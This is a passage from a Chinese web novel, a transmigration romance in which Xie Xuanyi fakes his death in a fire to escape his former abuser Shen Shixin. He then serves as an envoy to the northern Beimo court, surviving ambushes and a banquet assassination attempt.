“谈公子似乎胃口不佳,那道清蒸的鲈鱼倒是多吃了几口。” 沈适忻点点头,又回了身,“鲈鱼,好。那首饰衣着那些呢?” 给谢璇衣送珠宝的下人才道:“奴才瞧见谈公子柜中衣衫多是素色,尤以月白、天青为多,想来是喜浅色。” “至于珠宝……并未瞧见。” 沈适忻继续若有所思地点点头。 以后怎么都要嫁进来,天天穿那么素也不行。 想到这,他大手一挥,“去搬些花团锦簇的料子,给他裁几身衣裳,要快,灯会那日必须送过去。” 下人连声应下,小步子退了出去。 前些日子吴娴为了讨好他,刚刚送来不少有名的好料子,多是赤色、朱柿一类色,光是看着就很是雍容华贵。 沈适忻天天在宫里处理政事,多穿官袍,常服日子不多,便也没有急着做。 现下反倒是有了好去处。 谢璇衣的腰那么细,线条却很漂亮,那桔色的布料裹在他腰上,定然是像火一样明艳漂亮。 他想着。 谢璇衣分明是死了的,可是他死的这些年分明比活的时候心狠。 如今又是如何活的,难不成是前来讨债的孤魂野鬼? 白日青天倒是想得多。 他兀自摇了摇头,亲自动手研墨。 他剑下的孤魂野鬼,不说一千也有五百,哪还轮得到他。 却还是用这么诡离的手段,不要他的命,偏要他的思绪,要他胡思乱想。 沈适忻越想越愤恨,却也笑了。 这不恰好说明,他还爱自己吗? 那把人骗一骗,心便回来了- 谢璇衣安安分分待到灯会那日,又依着下人安排,换好一身火红,光是站在铜镜前便昳丽得不可方物。 都说自信是最好的美容剂,往日他几乎不照镜子,站在铜镜前自卑得不敢抬头,现在却自然地摸了摸鬓角垂下来的珠坠。 不得不说,沈适忻找来这一身是花了心思的,穿在他身上确实好看。 贵价的料子就是与他的素衣天差地别,有型却不过分挺硬,衣摆垂顺,连料子堆叠逦迤的阴影都隐隐透着织造的暗纹。 只是一想到今夜要发生什么,他眼底就流过一抹讥诮。 好料子,不过还是留着给愿意爱他的人穿吧。 反正他是不愿意了,他现在一心只想下班。 外面已经有动静,想来是沈适忻安排来的马车到了,很眼熟,是他曾经见过的那辆。 他现在还记得那顶朱盖的马车,里面载着怎样一个人,只是时过境迁,物是人非。 下人都被放了假,街巷上的灯一顶顶亮起来,染得天际似有亮色,月光都黯淡几分。 吆喝声此起彼伏,他几乎能想象到寻常人家的少女如何欣喜,在烟火闪亮明灭的间隙,望向心上人的面颊。 谢璇衣闻到空气中燃过的火药味,混杂着隐隐的油味。 他坐在外间的桌前,衣料堆叠在地上。 其实当年沈适忻问他要不要给自己做妾的时候,他短暂的幻想过未来和结局。 也许他就会忍着心里的哀痛,穿一身像今日这样华贵的衣袍,静静等待对方的垂怜。 如此反复,直至余生。 可是,他怎么敢赌沈适忻短暂的刺激会维持几天? 只有像现在这样,把主动权放在自己手里,这才是现在的谢璇衣会做的事。 火折子在他手心转了个圈,重新隐回袖口里。 天际燃起一支烟花,格外迅疾,格外寂寥,惨白着发光,没有任何余响。 他单手推开火折子,扔在了房檐上。 沈适忻今日心情大好,似乎是把握了什么一击必胜的信心。 似乎是有意与谢璇衣那身搭配,他也穿了身柿色的长袍,腰际环佩叮当。 “主子!谈大人那院子……走水了!” 他幻想着的美梦骤然被现实撞碎,猛然心惊,一时连仪态也没顾上,匆匆促促赶过去。 火势已经很大了,被夜风一吹,浓烟徐徐上涌。 “他还没出来?” 沈适忻抓着端水救火的小厮。 小厮也一脸慌乱,脸色惨白着,“未,未曾见到。” 沈适忻一把推开他,咬着牙,“废物,连个人也看不住。” 小厮点头哈腰,只觉有苦说不出。 他们赶来救火的时候,外面火势不小,谁又敢冒着生命危险去救一个身份很微妙的客人呢。 小厮抬起头,火光映得满面金红,高大屋舍在火舌燎烧下竟然格外易碎。 像是一个盛大的虚影。 沈适忻捂着口鼻冲进去,却没料到谢璇衣就在内间门口,站在一副已经熏黑了的挂画下,正抬头端详着什么。 他今日似乎除去所有易容,比起先前更美得脆弱。 尤其那双眼睛,又清又亮,漂亮得让人心生觊觎之意。 是啊,他都死了四年了。 记得他的人大多亡身宫变,记不清的,便也无需在意一个末流小卒。 他易容是在防的,从头至尾,不过沈适忻自己。 这个梗在心头的念头让他心慌,几乎一个箭步冲上去,狠狠拉住谢璇衣的手腕。 “你怎么不走,出去。” 谢璇衣视线从挂画上的美人落到手腕上,倏然弯起眼睛,露出一个像是笑的表情,声音凉得吓人。 他不知道哪里来的力气,一把推开沈适忻,对方始料未及,一个趔趄。 正在此时,火势滔天,头顶一根横梁应声落下,刚好砸在两人之间,点燃了其下的桌案。 像是隔着一处无法跨越的鸿沟。 谢璇衣站在鸿沟另一头,衣袂翩跹,饰银坠玉,曳着那身金红,像是融入火光里。 他看着沈适忻,声音有些疑惑。 “我自己放的火,为何要走?” “沈适忻,我知道你在想什么。” “你想我留下来,再像曾经一样被你冷言冷语,动辄打骂,像条无家可归的狗一样,因你一个馊掉的菜包子就摇尾乞怜,发誓忠贞一辈子?” “我有多贱?你这么想,你又有多贱?” 火舌翻卷,不断侵略着视线。 周围热极了,像是被天地炙烤着。 系统已经给谢璇衣打开了恒温系统,沈适忻却没有这个好运,不过片刻功夫,眼前就隐隐发黑。 他强撑着,质问谢璇衣,”你不可能从来没爱过我。” 谢璇衣笑了,黑烟从他面前掠过,“我说过吗?” 他的确没说过,他曾经所有的悸动都一次次融在各种示好里,种种表露人前,却唯独没有大胆地说出过“爱”这个字眼。 “我说过要去灯会了吗?是你强加的;我不表达,你便一次次找下人前来试探;我每夜难以安寝,多少双眼睛在暗中盯着我的一举一动。你是不是觉得我很好哄,你勾一勾手指就能骗回来?你凭什么一次又一次揣测我。” “住在这里,每一天我都恨不得杀了你。” 他垂怜地看着沈适忻,最后吐出一口浊气。 “不要再来恶心我了,你若是真紧追不放,下次,我必然取你性命。尽管我武技不精,也必然说到做到。” 沈适忻眼前的晕眩一阵压过一阵,周遭滚烫火热,他难以支撑,几乎半跪在地上。 可是周遭皆是炽热,依然盖不住他内心一阵又一阵的冷寒。 像是乍然回暖,枝头嫩蕊初绽,却遭逢一场来势汹汹的倒春寒。 谢璇衣说,他恨不得杀了他。 手掌按在地板上,强行抬起来时黏连一片皮肉,烫得血肉模糊,鲜血淋漓。 这不是他身上最重的伤。 他闯进来的时候衣摆上燃了火苗,灼得脊背和手臂伤口可怖。 却远远抵不过此刻张裂般的心痛。 第二根横梁砸下来的时候,谢璇衣缓缓闭了闭眼。 “沈大人,再见。” 最难说出口的不过至爱与至恨,曾经沈适忻占了前端,如今反之。 如果可以,那就再也不要见了- 谢璇衣就这样当着沈适忻的面消失了,走得极为迅速,似是鸟雀从枝丫上轻轻一点。 沈宅后院的围墙外,谢璇衣飞快换上官鹤带来的便装,将那身华美得不似男子衣装的服饰丢在角落里。 像是一颗明珠蒙尘,堆叠在地上的积灰里,泯然于此。 “天玑,好久不见,怎么这么狼狈。” 脚步声停在他身后,笑意盈盈,语气陌生。 谢璇衣应声转身,面露警觉,内心狂呼系统。 这人谁啊! 系统在他脑海里低声,又好像有些尴尬,“这是宿主您在北斗考核前的室友。” “如今的开阳领事。” “也是您的追求者……” 谢璇衣惊疑不定地瞪大眼睛,就听系统补充后半句话。 “之一。攻势最猛烈的一位。” 第25章 谢璇衣本人对开阳毫无了解,更不知道系统怎么加塞的数据,只能用手上拍灰的忙碌掩饰掉尴尬。 开阳却很是包容,甚至还上手帮他拍了拍后背上的灰,态度亲近得有些过分。 “你终于肯向我求助,我很开心,”开阳是很温和的长相,在一众北斗杀手中,显得像个误入的书生,“我知道你在北边那条街上的客栈开了间房,我已派人打点好了,你同我去,休息一夜,明日我们就走。” 开阳看着谢璇衣的脸,叹了口气,真情流露道:“我知道你想摆脱他,天玑,给陛下的信已经递去了,隔日上午便能回来。” 事已至此,谢璇衣虽然对他的温柔惊疑不定,却只能先从了那人的安排。 一路上静默无人,果然如开阳所说,客栈大堂里空无一人,唯独灯还亮着,几人衣摆扫过,忽明忽暗。 房内已经备好了热水,谢璇衣简单清洗过后,慢吞吞擦着头发,却见开阳还在房内。 “我挺好的,你先去忙你的便是,”谢璇衣讪讪一笑,“不用一直在房内等着我。” 开阳不为所动,面上温和更甚,“天玑,你鲜少对我这么温柔。” 谢璇衣心中一动,却见他绽开笑容,“你原因慢慢来也是好的,我等到你愿意接受我那一日。” 根本没听过这么肉麻的话,谢璇衣心里寒颤,连头发也没擦干就谎称疲惫,放下窗帘,脸朝墙壁装睡。 不一会,他的呼吸渐渐平稳,身后有人很小心的吹灭了蜡烛,门口传来极小合拢门扉的声音。 谢璇衣蓦然睁开眼,一个翻身下床锁好门窗,耳朵贴在门上,听那轻微的脚步声缓缓离去- 万点灯火明灭,沈宅流年不利,火势迅疾蹊跷,主人狼狈,好在下人一向训练有素,倒是没影响公主生辰的热闹氛围。灯会之下,多数人并不清楚发生了什么。 帝京的热闹与雍容从不会为一点星火折颓,像是一张最华美的锦缎,只手遮天,把其中所有污秽藏匿。 寻常人一辈子也瞧不见其下发霉的丑陋模样。 井仪请的大夫手脚麻利,给昏迷中的沈大人用过药,再三嘱咐。 曾经桀骜无双的世家权贵如今鬓发散乱,昏迷在榻,和一只折颈的鹤无异。 “沈大人伤不仅在皮肉,更是吸入太多污秽烟气,有损脏脾,外伤倒还是小事,”老大夫担忧地看了一眼沈适忻,摇着头叹气,“大人还是莽撞了。” 井仪连忙虚扶他一把,“有劳大夫,定然不会耽误大人用药。” 老大夫凝重地点点头,欲言又止,在一步迈过门槛时还是问出了口:“顺便,劳烦这位小哥替小人问问,可还记得四年前大人请过……替一位女郎瞧病的那位郎中。他与小人相邻,其子流连美色不慎夭折,舍下脸面,想请小人代以问问大人。” “若是当年的事做得满意,可否请大人垂怜年迈,增一两银子度日。” 井仪心道这事做不了主,只得含糊过。老大夫懂他的意思,不过受人所托,面上倒也并无失意,只是向他拱手免送,独自离开沈宅。 “什么当年的事,”沈适忻的声音比从前多些哑意,缠着纱布的手挑开垂帘,身在黑暗中,眼里多了几分倦怠,“记不得了。” 这是不帮的意思,井仪心下知晓,低下头应声“是。” 就在刹那间,一柄寒光骤然刺透窗纸,直冲沈适忻面门。 后者自然察觉,亦不甘示弱。床边折扇迎上,木似金铁,与那利刃照面竟分毫不让,较量之下双双折翼,零落在地。 折扇落在窗前,匕首擦着井仪的肩膀而过,险些挂彩。 “记不得了?沈大人还真是贵人多忘事呢。” 嗤笑声张扬,那人推门而入,笑吟吟地看着沈适忻,端得一副书生面相。 说出来的话却无端尖锐。 “不必叫人,在下无意与大人争执,”开阳歪了歪头,目光扫向井仪,“沈大人,聊聊吗?” 沈适忻一手扶着额头,对井仪使了个眼色,不顾后者面上犹疑。 “沈大人果然通情达理,比四年前好说话多了,当年谢璇衣向你求一个情面,付出的代价可不小呢。” 开阳自觉宾至如归,揽了把红木方凳,大咧咧翘着二郎腿,往沈适忻床边一坐。 “不是记不得了吗?那我给大人回忆回忆。” 开阳吐掉嘴里的瓜子皮,故作若有所思,“四年前,谢璇衣有一个贴身的小丫鬟病重,他求你替他寻一位大夫。” “你快意于他伏在你身下那种折辱的快意,并没在意,全权交给你的一位下人操办。” “而你那位下属并不解意,将你平日如何凌辱谢璇衣全看在眼里,自然为那可怜的丫头,寻来一位好大夫。” 开阳说到这里,咬重后几个字,狠狠盯着沈适忻的眼睛。 “而你,你以为她只是伤及根本无力回天。” 开阳蓦然笑了,讥诮之意满溢,汹涌滔天,“哈,那是你最满意的下人找来最满意的庸医,热症偏用鼎沸之物相燎,怕是死时五脏六腑都烧成一滩血水。” “沈大人,你知道吗?” “谢璇衣真傻,他竟然曾期望过你回心转意,太多太多次。哪怕小丫头死,他都对你怀了最后一丝期望,希望只是那老庸医医术不精。” “但是你呢?” “沈大人,你心好狠啊,在下佩服。” 沈适忻坐靠在榻上,脸色阴沉,苍白的手指紧紧抓着被褥,“你到底想说什么。” “聊聊而已,方才便说好的,大人别动怒啊,”开阳脸上的哀恸和讥讽收拢,恢复笑得轻巧的样子,“那是我阿妹,我多关注一下而已。” 他故作叹息,手上变出一片贴身里衣的布料,布料暗纹细腻精细,价值不菲。他摩挲着布料,故意蹭了蹭面颊。 “沈大人家大业大,给一个陌生商贩用的料子也极好。” 沈适忻认出那块布料的主人,已然动怒。尽管往日身手尚在,皮肉撕裂的钻心疼痛却害得他落得下风。 伤痛连绵不断,仿佛要提醒他,要记得因何而伤。 开阳后仰,轻巧地躲开,嗤笑一声:“沈大人,我劝你莫要轻举妄动。” “谢璇衣与我情投意合,已对我言听计从,你若是伤我,这辈子也休想再见他。” 沈适忻骤然像被捏住七寸,攥着被褥的指节泛白。 开阳却转头瞧了一眼月色,摇了摇头,“今日便和大人聊到这里,告辞。” “你说来就来,说走就走,置我于何地?”沈适忻阴恻恻盯着他。 开阳翻身欲走,暗中立刻蹿出数个埋伏暗卫,招招直冲要害。 开阳却也早有准备,下属从天而降,一时两伙人打成一团,流箭擦过开阳面颊,却被其趁机逃脱。 剩余的下属不敌,被暗卫擒获,多数咬碎牙里毒药毙命,唯有三四个被眼疾手快卸掉下颌,五花大绑动弹不得。 蹲在远处的房顶上,开阳摸了手脸上的鲜血,嗅到浓烈的腥气,咧嘴笑了。 “天玑也是个脑子犯浑的,怎么偏偏喜欢上这样一个人。” 他那阿妹……更是活该被爹娘卖掉,不过一个蠢物,唯有现下当他的托词还算有几钱价值。 一个黑衣简装的男人跪在他身后,声音粗哑,“领事,沈大人的信已截获,来源吴家。” 开阳抬眉,一脸轻慢地点点头,“晓得了。我也不是不讲信用的人,去给沈适忻塞张信纸,告诉他,谢璇衣明日北上北漠,其余的都不必说。”- “皇帝老头真同意我北上了?” 收到开阳口中的回信,是次日清晨。 谢璇衣皱着眉头看了看信笺,瞧不出任何问题。 官鹤挠了挠头,“这是好事啊领事,您不是一直想要前去北漠躲一躲沈适忻?” “恰好在四年前那一仗里,北漠也没落到什么好处,不敢妄动,您现在前去,也算是安全。” 情况的确如他所说,谢璇衣还是蹙眉,总觉得哪里差着一环,整件事情有种诡异的巧合。 但是又找不出哪里怪。 “那你替我收拾些行囊,我进宫去面圣,亲自领旨。” 如信笺上的说辞,那他这次可不是出秘密任务,而是货真价实作为使臣出使北漠,没有个名正言顺的说辞可怎么算。 官鹤应下,操办此事。 谢璇衣则叫出系统。 “你说我在北漠会有收获吗?” 系统含糊,“当前探索进度20%,捕捉异常波动,数据过少,难以建库分析。” “还请宿主扩大信息捕捉量。” 言外之意就是他老在帝京打转。 谢璇衣啧了声。 要你有何用。 他自有一套官服,明面上在朝中有个低品闲散官位,存在感一直低的离谱。以至于此次随同官员队伍早朝,竟然无人在意多出来的他。 谢璇衣低着头,侧头看了一眼前列的空缺。 沈适忻今日称病,没来早朝。听了同僚的解释,皇帝面上一丝不悦,却没有多说什么。 直到谢璇衣和几个官员跪在官员队列之前,叩首接旨,才堪堪有人注意到这个身形清瘦、面带倦容的青年。 “赐尔玉圭、符节。” 苍老的皇帝高高在上,手一挥,便有宦官托上御赐之物。 却没有人注意到,皇帝的目光紧紧压在谢璇衣身上。 “此行,勿忘使命,于舆图测画与史书合撰之事,定要与北漠达成一致。” 谢璇衣在一行人中合拢双手,共举过额头,宽大衣袖挡住他的面容。 “臣等,定不辱命。” 第26章 在寒风里吹了一上午,谢璇衣拍了拍冻僵了的面颊,舀了一碗热汤,眼神盯着桌上摊开的地图。 越北上,越是冰天雪地。 “官道的路还没开?” 其中一个同僚问门外踉跄赶回的小厮。 那小厮一退开破旧而厚重的门帘,簌簌飞雪立即灌进窄小的房屋里。 小厮抖着肩上的积雪,沮丧地摇摇头,用力抽了抽鼻子,“苏大人,雪越积越厚了。” 意味着他们一路上仰仗的马车此时寸步难行。 寒冬腊月里,雪花大如席,他们从帝京北上已有十五日,竟未见过几日天晴。 后来便是越走越慢,昨日入了北漠地界,才寻到这么一户愿意收留的好心百姓。 然而北漠前来接应的人却迟迟未见。 这并不是一件好事 他那七八同僚面露苦色,捋胡子的捋胡子,摇头的摇头,一时间没有人拿的定主意。 然而谁又知道雪会下几日,日子等不得。 谢璇衣静静喝完那碗热汤,被其中辛辣的胡椒和姜味呛得轻咳两声。 他沾了沾唇角的水渍,从腰佩的锦囊里取出一锭白银。 落在冻得发硬的桌子上,声音微小,却比那断案的惊堂木还好用。 “老伯,可否劳烦,替我们照料这车马几日,”谢璇衣把那锭白银往主人家的方向推了几寸,“事发突然,多有冒犯,还请海涵。” 那主人家哪见过这么多钱,生怕他反悔,连忙应下。 同僚不解其意,各个呆愣地看过来,却见这位年纪尚轻的小同僚系紧了大氅的带子,向他们略一点头。 “诸位且暂等两日,我记得地图,先行一步,去都城官道迎几位接应来。” “雪天消息滞塞,恐怕会错过。” 那几个同僚两难,却不得不承认,谢璇衣提出了一个合理的解决办法。 有一灰青衣袍欲言,却又讪讪止住。 正如谢璇衣所说,雪天路滑,他又只身独行,几乎是一条绝路。如果他不去,其余人也只能在这一隅内干等着。 这样身先士卒的人,他们没有任何资格质疑。 谢璇衣扫过众人,面色平静,像是不知道自己提议的危险性。 他解下其中一匹黑马,翻身而上,马匹嘶鸣一声,载着清瘦的青年扬长而去。 朔风宿雪之间,天地茫茫,唯独一人一马,黑衣猎猎,驰骋奔逐。 “系统!打开扫描过的地图!” 鹅毛大雪坠坠,几乎阻碍了谢璇衣全部的视线,睫毛上落了一片银色。 他颠簸在马背上,连喊系统的声音都抬高不少。 “已开启。” 他先前借着认路的功夫,已经让系统扫描备份过那张地图,也为他独自出行打下基础。 现在,与地图分毫不差的图像呈现在眼前。 他走的路是昔日两国所修官道,也是边界唯一一条能通车走马的大道。 如果有人来接应他们,这里就是必经之路。 雪水被肌肤的温度融化,顺着鼻梁流下来,仍是刺骨寒。 周围只有干瘪的树和枯黄的草皮,两侧连山,绵延起伏,头顶都是灰蒙蒙的一片,压得人喘不上气。 谢璇衣只注意着自身方位,却听到马蹄声外,有清脆的树枝断裂声。 冷箭连连。 “什么人!” 他高喝一声,奋力夹紧马腹,从暗箭中穿了出去。 身后人没料到一击未中,也骑马赶上。 那三两刺客身着灰衣,看不清面容,却生得高大,想来是北漠人。 他手无寸铁,被追上必然是死路一条! 不过片刻,心念一动,那把锦衾已经横在手心,刀鞘坠锦流红,艳艳生姿。 他逐渐降低速度,任由身后人追上,随即横刀刺向最近一人马腹。 马匹受惊,失了分寸,将背上之人甩下,又撞翻了正在疾驰的另一匹马。 一石二鸟,谢璇衣扫了一眼,回过头,单手紧拽缰绳,提快速度。 唯一幸存的人看看他,又看看受伤的两人,最终一咬牙放弃这场追逐。 谢璇衣惊魂未定,呼出一口白气,刀尖上的马血却很快冻住,连刀面上都积了一层薄霜。 这三人显然是有预料,来劫持使臣一行人。 幸亏他早一步出来,若是那手无寸铁的大部队迎上,恐怕场面就难以预料了。 他可以会骑马,这是君子六艺,并不奇怪,但要是被同僚看到他手上凭空出现的刀,不一本参他装神弄鬼才怪。 他捂住心口,咳了两声。方才剧烈动作,想来是催动了毒,他现在不免虚弱。 果然是,此行凶险- 一人快马加鞭,果然在距离都城二百里的地方瞧见了迎接的官员。 谢璇衣隐下遇刺不提,在他们的地图上指出使臣所在,要求他们抓紧动身。 他本人则被引到都城休息。 北漠首领对于使臣格外重视,安排来的接应也有几分汉人模样,无端让人亲切。 接应是个瘦高个,却很干瘪,拢着身上的兽皮绒大衣,带他先去安排好的客栈暖暖身子。 客栈距离北漠王宫不远,装修粗犷,喝的茶也带着咸味,显然与中原不同。 谢璇衣倒是没有水土不服的问题,只是借口自己累了需要休息,就先行上楼了。 房间里备着几身干净的新衣,尽了主人之仪。 北漠衣物大多宽大,谢璇衣脱下显眼的大氅,在外面套上兽绒长袍,又裹上面巾遮挡长相,如此一来,也和当地人没什么区别。 传统艺能,谢璇衣打开窗户翻了出去。 他的楼层在二层,翻下去方便极了。 先前耽误的时间不少,却还一无所获,他察觉到一些不对,在来时已经想过。 会不会是因为在他“该出现的场合”,所以漏洞才隐藏起破绽。 那他偷袭一下呢。 接连大雪,白日昏暗,能见度低了不少,他没费什么力气,轻手轻脚绕开守卫,爬到边角的偏殿房顶。 北漠王宫构造与中原相似,只是简化更多。 谢璇衣比划一下,辨认出王子们的住所,便摸了过去。 王好见,王子却不一定。 哪料到他还没靠近,就听到瓷器飞出窗外的声音,碎在雪地上,一声闷响。 “这个时候了,你说不行?” 宫殿里传来男人暴怒的声音。 气势剑拔弩张,想来一时注意不到他。 谢璇衣凑过去听。 “殿下,您知道吾王生性多疑,”另一个嗓音粗哑的男声很平静,“最近又为了防着那几个中原人,几乎安插了两倍的人手。” “想要在这个节骨眼下毒……您知道失败后的下场。” 谢璇衣叫出系统,面色凝重。 “探查异常。” “出现异常波动,请宿主注意。” 谢璇衣从窗户往里探了一眼,收回目光。 他分不清那是哪个王子。 不过此行也算有所收获。 趁着一拨守卫换岗的时机,谢璇衣摸回旅店。 刚从窗户翻回房间,一身寒气还没褪,门就被人拍响了。 “谁?” 他装出鼻音很重的声音,整个人裹进被子里。 “大人,您的几位同僚已经接到了,特来告知您一声。” “另外,吾王明夜在宫中设宴,还请大人务必参加。” 谢璇衣"嗯"了声,目光死死盯着那人映在门上的黑影。 听了一会他门中动静,那人才轻步离去。 谢璇衣这才起身,把门缝里塞着的安眠香纸夹起来,丢到了窗外。 惊喜不少啊。 他讨厌这种勾心斗角- 次日,北漠王宫张灯结彩,热闹非常,像是要冲散连日大雪的死闷气息。 北漠王名乌瀚,未至耳顺之年,却已经老态龙钟,眼睛浑浊着,看不清其中神色。 谢璇衣硬着头皮,和同样面露难色的几位同僚一起参拜过北漠王,依次落座,这才不动声色地把视线转向身后熟悉的身影。 谁能告诉他,为什么一夜之间使臣的队伍里多了一个沈适忻。 然而同僚皆是一副欲言又止的样子,还期望着谢璇衣出个头打听缘由。 谢璇衣皱着眉收回视线,暗地里翻了个白眼。 想吃瓜又不敢问,一群懦夫。 他全程端坐使臣首席,不时举杯附和两句,全程没给身后那人一个眼神。 他只做分内之事,其余的自有旁人料理。 正当宴酣酒暖,宾主皆欢,殿中突然有一侍卫上前,对乌瀚行礼致意。 “参拜吾王,今日幸得一珍品玉器,借此良机赠与吾王,愿吾王万寿无疆。” 这番表示几乎让宴会气氛又升了一个台阶。 正当所有官员宾客都翘首以盼,盯着在侍卫身后上来的四人,期待见到他们手上长盒中的珍品。 谢璇衣心脏却漏跳一拍。 四人中的一个侍卫,身形和他昨日遇到的刺客太相似了。 正此时,那个侍卫的眼神也看过来。 掀开长盒的动作几乎成了慢镜头,盒中没有珍宝,只有闪着冷光的千机弩。 几人动作异常迅速,半数箭矢朝使团而来,另外半数则朝向不远处的北漠王。 电光石火之间,谢璇衣无从取出锦衾,却见身后有人扑上前,手中飞出的杯碟挡掉半数流矢,却还是有两根一上一下,没入心口微偏的位置。 瓷片碎裂的声音像是一记警钟,场面乱作一团。 好在那四人准头不好,现场虽然有人受伤,总归只占少数。 北漠王自然无事,却还是被吓了一跳,连忙叫人把沈适忻带下去治疗。 王宫中的侍卫已经将四人按在地上,却来不及等待指示,就见四人咬碎毒药自尽了。 身后使臣已经六神无主,几乎有人一句“沈大人”便要脱口而出,又被人捂嘴按下。 沈适忻被急匆匆赶来的太医带下去时,眼神始终落在谢璇衣身上,后者却冷肃着一张脸,紧盯着王座上的北漠王。 北漠王正胡乱一挥手,“今日偶遭此事,便先……” “陛下!” 他声音里像是含着一腔悲愤,生生打断了北漠王的决定。 他站起来,以中原礼节重重躬身。 “陛下,”他眼神炽热。无端坚定,看得北漠王心中发慌,“我永朝使臣乃顺应皇恩,为两国百姓方便而来。” “不过今日初来乍到,便有如此变故,陛下难道任由刺客出入王宫、蓄意谋杀使节,而敷衍了事吗。” 身后慌乱的使臣已然呆愣,满殿只听到谢璇衣字字铿锵。 “若非今日亲眼所见,小官尚以为城外风雨不过谣传,陛下尚未至连河西四城都管理不好的地步。” “不过今日,小官便请永朝皇诏金口玉言,收回河西四城管辖权,仅保留通商互市之能。” 谢璇衣此番话一出来,震惊众人,甚至不亚于方才的刺杀。 使臣这边回过味来,任谁都明白了他的意思。 之所以谢璇衣敢说出这么胆大包天的话,就是知道北漠人明面上不敢动他们,只能用那些下三滥的手段偷袭。 北漠王敢怒又不能言,憋得脸色发青。 一通威胁与利诱相逼之下,本就头顶怠慢使臣指责的北漠皇室,也不得不咬着牙一番讨价还价,定在了两国都同意的区间内- 有了谢璇衣今晚的举动,任谁都对他多了些敬畏。 一群平日里文人相轻的官员,此刻跟在他身后,活像是狐假虎威。 客栈内的炭火足,一进来便烤得谢璇衣浑身暖烘烘,他索性把领子翻了下来。 二楼只有几处拐角燃着烛火,把他的影子拉得颀长。 他轻车熟路摸到自己的房间,只一进门便嗅到空气中的血腥气,顿时便知道何人在此。 听到脚步声,床榻上窸窸窣窣,像是那人直起身子。 一站一卧,便僵持了一盏茶的功夫。 终于还是沈适忻没忍住。 他的声音听起来喑哑,“你没受伤吧。” 谢璇衣不说话,只有鞋底蹭在木地板上的摩擦声。 他又开口,“可有……帮到你?” 谢璇衣听到这无端荒唐的话,轻嗤一声,转身走了。 不一会,他重新开了间三层的房间,比起二层规格更加豪华,窗户能看到的雪景也更辽阔。 房间里只有木头和蜡烛的味道,干净清冽,谢璇衣想着今日吃沈血馒头的战果,啧啧两声,烧上开水,坐下来泡茶。 谢璇衣走后,沈适忻眼神仿佛落了锁,紧紧盯着他曾经站过的地板。 这段时间接连受伤,灼伤的皮肉还没好全,前两日骑马颠簸是一顿皮肉之苦,今日又连受重创,身上被裹得活像个木乃伊。 太医不知道他住在哪里,胡乱将他安置在一处房间,却不想正巧惹了谢璇衣的不快。 身上的伤口像是在叫嚣着,非要争出个先后,疼得剧烈。 门不知道被哪个路过的人合拢,只是蒙在门上的昏黄剪影边幅朦胧,摇摇晃晃,显得屋内无比沉寂。 他身上冷着,头却像是埋进煮沸了的水,滚烫又疼痛。 想来是伤口炎症引发的。 周遭一切都变得难以忍受,黑暗无边无际,有人在笑,又像是有人在啜泣。 不知道多久,沈适忻眼前明亮起来,却像是回到许多年前,一个秋日,花团锦簇,少男少女们聚在一起。 而他的脚下,刚踹倒了那个瘦得吓人的少年。 谢璇衣眼里似乎还噙着泪,却死死睁着眼不肯落下来,眼神却那么哀伤。 这种哀伤贯穿了许多年。 他那时又看到了什么呢? 不知是梦,或是什么,他终于摆脱了束缚,僵硬着伸出手,想要拉起地上的少年。 眼前景象却像是琉璃掷地,骤然破碎,每一片上都是谢璇衣的面容。 他再一回神,却像是情景倒置。 跌在地上的人变成了他自己。 方才眼圈泛红的少年笑容微冷,高高在上地俯视自己,像在评估一只翁中促织的价值。 让他无由慌乱。 他曾经这么对待过谢璇衣吗,这是他的报复吗? 他要…… 预料之中的任何痛楚都没有到来,像是已经痛到麻木,或是踩在云端。 少年只是啧啧叹息片刻,终于开了金口。 “不过一条卑贱的狗而已。” “也配?” 第27章 借着彻查刺客,永朝来的使臣一概被留在客栈内,名为保护,实为软禁。 至今已经三日。 谢璇衣看着窗边蔓延进来的水渍,不徐不疾地盖下遮帘。 窗户固然是宣纸糊的,却耐不住皑皑积雪折射上的莹白,乍一看过去还有些刺眼。 他近两日来有些眼睛痛,不知道是否与此有关,却还是遵照系统医嘱,减少视光。 桌上叠了三两密信,落款都是开阳,他正想着北漠的事,没空拆开回复。 虽然那日系统说的暧昧,他却能感觉到对方每一次借着亲近的试探,和试探背后的敌意。 或许也是旧事练就的本领。 帘子散下来遮住雪光,房间里唯一的光源便是角落金炉中暗红的炭火。 “系统,解决bug一定要我杀了他吗?” 谢璇衣掐了掐眉心,大氅披在身上也并没有太多暖意。 系统委婉:“并非。如果宿主捕捉到的bug目标消失,便可视为清除成功。” 整个小世界的数据都在系统中,所谓的目标消失,也可以理解成数据格式化了。 言外之意就是,他不动手,有别人动手也行。 问题是,他上哪找一个敢替他杀了王子的人。 现在北漠都城抓刺客风头正紧,中原来的人又杀了王子,那可避不了一场恶战了。 他们几个估计都得折在北漠。 谢璇衣不怕杀人,只怕杀完人惹来麻烦。 他躺回热乎乎的榻上,翻了个身,脸朝墙壁忽视系统。 过了一分钟,谢璇衣又翻回来,看着眼前近似于虚无的黑暗,没头没脑问了一句。 “系统,如果数据清除掉,还能再找回吗?” 系统忽视掉他前面的冷漠:“可以,宿主。系统备份存在随您时间线而动的一百二十小时,在小世界或主系统空间均视为生效,期间可按每组五积分的价格回收。” 谢璇衣大概算过,一只小猫的数据是二十组,一个小世界内无关紧要的NPC大概需要四百组。 这种生命被数据衡量的感受如鲠在喉,让他觉得恶心。 “领事。”门被人轻轻敲响。 谢璇衣听出官鹤的声音,不轻不重“嗯”了声,“进来说话。” 官鹤一进来就被房间内的黑暗吓了一跳,“您怎么不点烛台。” “眼疾,黑着吧,”谢璇衣靠在床头,看着一身寒气的官鹤,“你都走窗户进来了,怎么还老老实实敲门,不直接翻进来。” 玩笑是这么开,官鹤却知道,自己要是真突袭进来,估计能被领事砍成八瓣。 “夜宴的消息已经快马加鞭传回去了,今夜便能到帝京。” 官鹤躬身抱拳,发丝擦着眼角的疤痕飘在脸侧。 “另外,开阳领事问您可是身体抱恙,希望您回信。” “我知道了。你让他等着,”谢璇衣翻身下榻,去给炭盆加了些燃料,房间里的暖意又足了几分,“我并不觉得他有什么有用的消息。” 官鹤猛然抬头,“领事不是……” “不是什么,他骗骗自己也就得了,连你也骗就不太厚道了,”谢璇衣脸侧的边际被金红的火光照得很柔和,“反正我和他没什么,他也对我防备心很重,你不用操心这些,做好分内之事。” “是。” 官鹤被训了一通。 “另外,您要查的北漠王室组成已经整理好了,请您过目。” 他从腰包里取出一小卷纸,双手递过去。 谢璇衣扫了一眼,放到枕头底下。 完成了全部工作,官鹤推门要出去,一只脚刚迈出门外,就紧急站稳。 随后谢璇衣听到他阴沉又紧张的声音。 “沈大人,您来做什么,我家主子今日思虑过重,不见客。” 